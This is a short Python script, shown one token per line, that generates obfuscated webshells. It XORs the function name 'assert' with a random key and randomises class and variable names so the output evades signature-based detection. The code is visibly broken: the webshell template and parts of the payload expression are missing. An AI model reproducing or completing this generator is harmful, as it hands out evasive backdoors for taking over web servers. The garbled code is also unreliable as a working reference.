import
chardet
import
base64
import
random
import
sys
func
=
'assert'
def
random_obj_name(length):
s
=
'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return
''.join(random.sample(s, length))
def
random_key(length):
s
=
'`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return
''.join(random.sample(s, length))
def
xor(s1, s2):
return
hex
(
ord
(s1) ^
ord
(s2)).replace(
"0x"
, r
'\x'
)
def
gen_payload(func):
func_line1
=
''
func_line2
=
''
key
=
random_key(
len
(func))
for
i
in
range
(
len
(func)):
t_xor
=
xor(func[i], key[i])
func_line1
+
=
key[i]
func_line2
+
=
t_xor
payload
=
+
'^'
+
return
payload
shell_form
=
def
gen_ms_webshell(func):
class_name
=
random_obj_name(
4
)
objname
=
class_name.lower()
webshell
=
shell_form.
format
(class_name
=
class_name, func_name
=
random_obj_name(
4
), objname
=
objname,
var_name1
=
random_obj_name(
4
), var_name2
=
random_obj_name(
4
), func1
=
gen_payload(func))
print
(webshell)
gen_ms_webshell(func)